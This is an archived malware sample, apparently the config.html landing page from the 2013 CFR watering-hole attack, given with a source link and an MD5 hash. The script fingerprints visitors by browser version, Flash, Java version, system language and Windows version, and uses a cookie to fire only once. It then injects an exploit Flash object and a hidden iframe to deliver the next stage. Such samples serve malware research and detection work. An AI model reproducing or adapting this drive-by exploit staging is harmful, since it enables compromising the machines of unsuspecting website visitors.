config.html

http://eromang.zataz.com/2013/01/02/capstone-turbine-corporation-also-targeted-in-the-cfr-watering-hole-attack-and-more/

config.html
MD5: a25c13d4edb207e6ce153469c1104223
-----------------------------------------------------------------------------------------------------
<html>
<head>
<script src=deployJava.js></script>
<script type="text/javascript">
function getCookieVal (offset)
{
    var endstr = document.cookie.indexOf (";", offset);
    if (endstr == -1)
	{
		endstr = document.cookie.length;
	}
    return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name)
{
    var arg = name + "=";
    var alen = arg.length;
    var clen = document.cookie.length;
    var i = 0;
    while (i < clen)
       {
       var j = i + alen;
       if (document.cookie.substring(i, j) == arg)
          return getCookieVal (j);
       i = document.cookie.indexOf(" ", i) + 1;
       if (i == 0)
          break;
       }
    return null;
    }
function SetCookie (name, value)
{
    var argv = SetCookie.arguments;
    var argc = SetCookie.arguments.length;
    var expires = (2 < argc) ? argv[2] : null;
    var path = (3 < argc) ? argv[3] : null;
    var domain = (4 < argc) ? argv[4] : null;
    var secure = (5 < argc) ? argv[5] : false;
    document.cookie = name + "=" + escape (value) +
      ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
      ((path == null) ? "" : ("; path=" + path)) +
      ((domain == null) ? "" : ("; domain=" + domain)) +
         ((secure == true) ? "; secure" : "");
}
function DisplayInfo()
{
    var expdate = new Date();
    var visit;
	expdate.setTime(expdate.getTime() +  (24 * 60 * 60 * 1000*7 ));
    if(!(visit = GetCookie("visit")))
    visit = 0;
    visit++;
    SetCookie("visit", visit, expdate, "/", null, false);
 	return visit;
}
var ua = window.navigator.userAgent.toLowerCase();

if (ua.indexOf('msie 8.0') <0)
{
	location.href="about:blank";
}

    var f = 0;
    try {
        f = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
    }
    catch (e) {
    }
    var g=typeof f;

	if(g!="object")
	{
		location.href="about:blank";
	}
    var h=navigator.systemLanguage.toLowerCase();

	if(h!="zh-cn" && h!="en-us" && h!= "zh-tw"&& h!= "ja" && h!= "ru"&&h!= "ko" )
	{

		location.href="about:blank";
	}

var num=DisplayInfo();
if(num >1)
{
	location.href="about:blank";
}
function download()
{
	var xmlhttp;
	  try
	  {
		xmlhttp = new XMLHttpRequest();
	  }
	  catch (e)
	  {
		var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' );
		var success = false;
		for (var i=0;i < XMLHTTP_IDS.length && !success; i++)
		{
		  try
		  {
			 xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
			 success = true;
		  } catch (e)
		  {}
		}
	 }
	function callback()
	{
		if(xmlhttp.readyState==4)
		{
			if(xmlhttp.status==200)
			{
				var temp=ua.replace(/ /g,"");
				if (temp.indexOf("nt6.1")>-1) {


						if ((deployJava.versionCheck('1.6.0+') == true) && (deployJava.versionCheck('1.7.0+') == false)) {


							document.getElementById('test').innerHTML="default";
							document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";

						}
						else
						{
						 location.href="about:blank";
						}
				}
				else if(temp.indexOf("nt5.1")>-1)
				{

					document.getElementById('test').innerHTML="cat";
					document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";

				}
				else
				{
				  location.href="about:blank";
				}

			}
		}
	}
	xmlhttp.open("get", "xsainfo.jpg", true);
	xmlhttp.onreadystatechange = callback;
	xmlhttp.send(null);
}

</script>
</head>
<body onload="download()">
<div style=display:none>
<div id=test>hello</div>
</div>
</body>
</html>